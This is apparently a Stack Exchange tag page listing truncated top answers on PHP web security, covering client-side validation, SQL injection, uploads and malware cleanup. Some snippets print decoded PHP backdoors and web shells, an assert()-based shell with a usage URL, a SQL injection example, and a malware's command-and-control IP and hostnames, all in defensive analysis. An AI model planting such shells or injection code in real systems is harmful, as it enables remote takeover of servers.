Hot answers tagged

315

Client side validation The validation code you have provided is in JavaScript. That suggests it is code that you use to do the validation on the client. Rule number one of securing webapps is to never trust the client. The client is under the full control of the user - or in this case, the attacker. You can not be sure that any code you send to the client ...


203

This approach is fundamentally flawed. Anything on the client side can and will be tampered with by players. It is the same problem which makes DRM untenable - the user owns the machine and all the data on it, including your executables, data in memory, etc. Keeping algorithms secret doesn't work (see Kerckhoffs's principle) because it only takes a small ...


201

It's not so much that PHP itself has security problems (assuming needed security updates), as it is there exists a lot of popular PHP-based software with rampant security problems. You could fault PHP for being a language that gives you enough rope to choke yourself, but the real problem is just how prevalent vulnerable PHP code actually is. One need look no ...


189

Hacks that work just by changing the URL One legit and one malicious example Some examples require URL encoding to work (usually done automatically by browser) SQL Injection code: $username = $_POST['username']; $pw = $_GET['password']; mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw"); exploit (logs in as ...


176

Fortunately, almost all PHP scripts can be deobfuscated with 4 simple methods. We're going to use these four methods to create a canonical answer. Before we begin, let's collect a list of common tools that assist in deobfuscating these malicious files so we can do the work ourselves. Common tools that aid in deobfuscation UnPHP. This greatly aids in de-...


161

Most of the details in your question are irrelevant. That the ID is stored in a HTML id attribute, the developer tools, that you are using jQuery... None of that really matters. The only thing that matters is that you have an endpoint on your server called insert.php. An attacker can send any request they want to that endpoint, regardless of what your ...


138

This would store the login link with password and username in the browsers history. It could also be accidentally be captured by things like firewall logs, that wouldn't capture post variables.


137

What will this code actually will do? You have a backdoor that allows Remote Code Execution Credit to borjab for the inital decode <?php preg_replace("#(.+)#ie", "@include_once(base64_decode("\1"));", "L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?> Note this base64 encoded string we found in the first file: ...


133

"Right" might not be the right word, but "wise," "prudent" and "conscientious" come to mind. PHP has, since its inception, adhered to a philosophy that devalues correctness in software. There is a huge number of situations a program can encounter where other languages (e.g. Python) would give up and throw an error to tell you that your program is wrong, ...


105

No SSL, no security. Things in the real world are rarely simple, but here it is the case. This is easily seen as follows: whatever you do in Javascript, will be done in Javascript sent by the server. Any attacker who is in position to look at the data can also modify it at will (e.g. the easiest way to spy on WiFi is to run your own fake access point, and ...


82

This... is atrocious. The whole point of running Web things as a non-root user is damage containment: in case the Web server process gets hijacked through some vulnerability, at least the attacker won't obtain full control of the machine, since he will be constrained by the limitations of the non-root account www-data. But if you give www-data a way to run ...


81

The short answer is: if the code was added by someone you don't know, then it's malicious, doesn't really matter what it does. Your server has been compromised and you need to perform a full clean up. As for how it got added, there is no way for us to know without a full investigation of your server.


80

Don't spend lots of time on workarounds or half fixes. Every minute you spend trying to implement anything suggested here is a minute you could have spent implementing prepared statements. That is the only true solution. If you have an SQLi vulnerability, the attacker will probably win in the end no matter what you do to try to slow her down. So be aware ...


77

Yes, it's malicious. This script has 20 layers of eval/deflate obfuscation, but eventually decodes to: @error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e'])))))); ...


76

The biggest concern is obviously that malicious users will upload things that are not images to your server. Specifically they might upload executable files or scripts which they will attempt to trick your server into executing. One way to protect against this is to make sure that the files are not executable after you move_uploaded_file in PHP. This is as ...


68

This looks like you're storing passwords in the clear, which is a bad idea. You should ensure passwords are protected using, at minimum, password_hash() and password_verify(), which use bcrypt under the hood. This is simple, easy, safe, and perfectly acceptable for most scenarios. Alternatively you can use a slightly more secure method such as Argon2, which ...


66

On production (contrary to development) environments, stack traces and error messages should be logged to file instead of dumped on screen. This is because an attacker may learn things about your system that could help compromise your system. Information such as operating system, web server version, PHP version and more. Some stack traces may contain system/...


65

The only correct way is to use prepared statements. If you disguise error messages, it a bit harder, but won't stop attackers. You can restrict the rights, but all rights granted to the user could gained by the attacker. It is also possible to execute shell commands from an SQL-Injection in some cases. Renaming tables won't help you. The tool sqlmap will ...


64

If the server is configured correctly, you cannot download a PHP file. It will be executed when called via the webserver. The only way to see what it does is to gain access to the server via SSH or FTP or some other method. This is because PHP is a serverside language, all the actions are performed on the server, then the result is sent to your browser (...


63

I can think of quite a few reasons why this would not be ideal: In the code snippet you posted, you are now hardcoding a secret key into your program's source code. This is bad because now if you want to publish or share your source code with anyone else, you will have to remember to redact that key. The security of a system should not be dependent on its ...


59

What you're describing is normal directory listing In itself, directory listing is not a security issue. If the security of your system is compromised after figuring out the structure of your files and directories, then you're relying on security through obscurity, which is bad. Examples of this bad practice include: Using secret directory names to access ...


59

Try sending a HEAD request. I'm assuming that with ascii.txt included, the output of the script is just over a nice number like 4096 bytes, a common output_buffering value. Once the script has written output_buffering bytes, it needs to flush the output buffer before continuing. Normally this works fine and the script continues, but if the request type is ...


49

Why are you refusing to use TLS? It works, it has a good track record (some minor exceptions aside). Refusing to use good tools without a compelling reason does not engender confidence and does not immediately suggest professionalism. Additionally, do not roll your own authentication system. That is silly, and you will make mistakes. Instead, since you ...


49

There are basically two main ways an uploaded file can be harmful: by being executed (as a script or binary) or by being run/used in an application and abusing an exploit in it (e.g. an uploaded MP3 which is then opened by a specific player, abusing a known weakness in it). In other words, it all depends what happens with the file after uploading. If ...


47

“Sanitisation” is an unhelpful and misleading term. There are two different animals here: Output escaping. This is an output-stage concern. When you take variable strings and inject them into a larger string that has a surrounding syntax, you must process the injected string to make it conform to the requirements of that syntax. What exactly that processing ...


47

No. The backdoor is not on this script. This piece of highly obfuscated code contains a program to allow the hacker to dynamically append any HTML or javascript by randomly calling a server located at 31.184.192.250 with one of the four hostnames "33db9538.com", "9507c4e8.com", "e5b57288.com", "54dfa1cb.com". The deobfuscated code looks something like this: ...


45

It's an obfuscated web shell that allows remote code execution. The script feeds $_REQUEST['e'] into the assert() function. That evaluates the e request parameter as PHP. Use it like this: http://example.com/shell.php?e=phpinfo() assert() is a debugging feature to evaluate assertions. But if you feed it an arbitrary string it will be executed as a PHP ...


44

UPDATED I would check the following: Logs. If you have root access you should check things like history which will give you command history and log files in /var/logs. Baseline. If you have a baseline like file hashes to work with for application and system files this will help a lot. You can also use backups to compare a previous state. If using a backup ...


43

This is taken from one of my questions on Stack Overflow: Which $_SERVER variables are safe? Server controlled These variables are set by the server environment and depend entirely on the server configuration. 'GATEWAY_INTERFACE' 'SERVER_ADDR' 'SERVER_SOFTWARE' 'DOCUMENT_ROOT' 'SERVER_ADMIN' 'SERVER_SIGNATURE' Partly server controlled These variables ...


42

PHP's security problems can generally be narrowed down to two categories Unpatched systems As of right now, Wordpress stats shows over half of all users are running PHP on versions of PHP that are past End of Life (PHP 5.2 - 5.4). In two weeks, PHP 5.5 goes EOL and then it jumps to about 80% of all installs. Now, to be fair, some Enterprise/LTS Linux ...


Only top voted, non community-wiki answers of a minimum length are eligible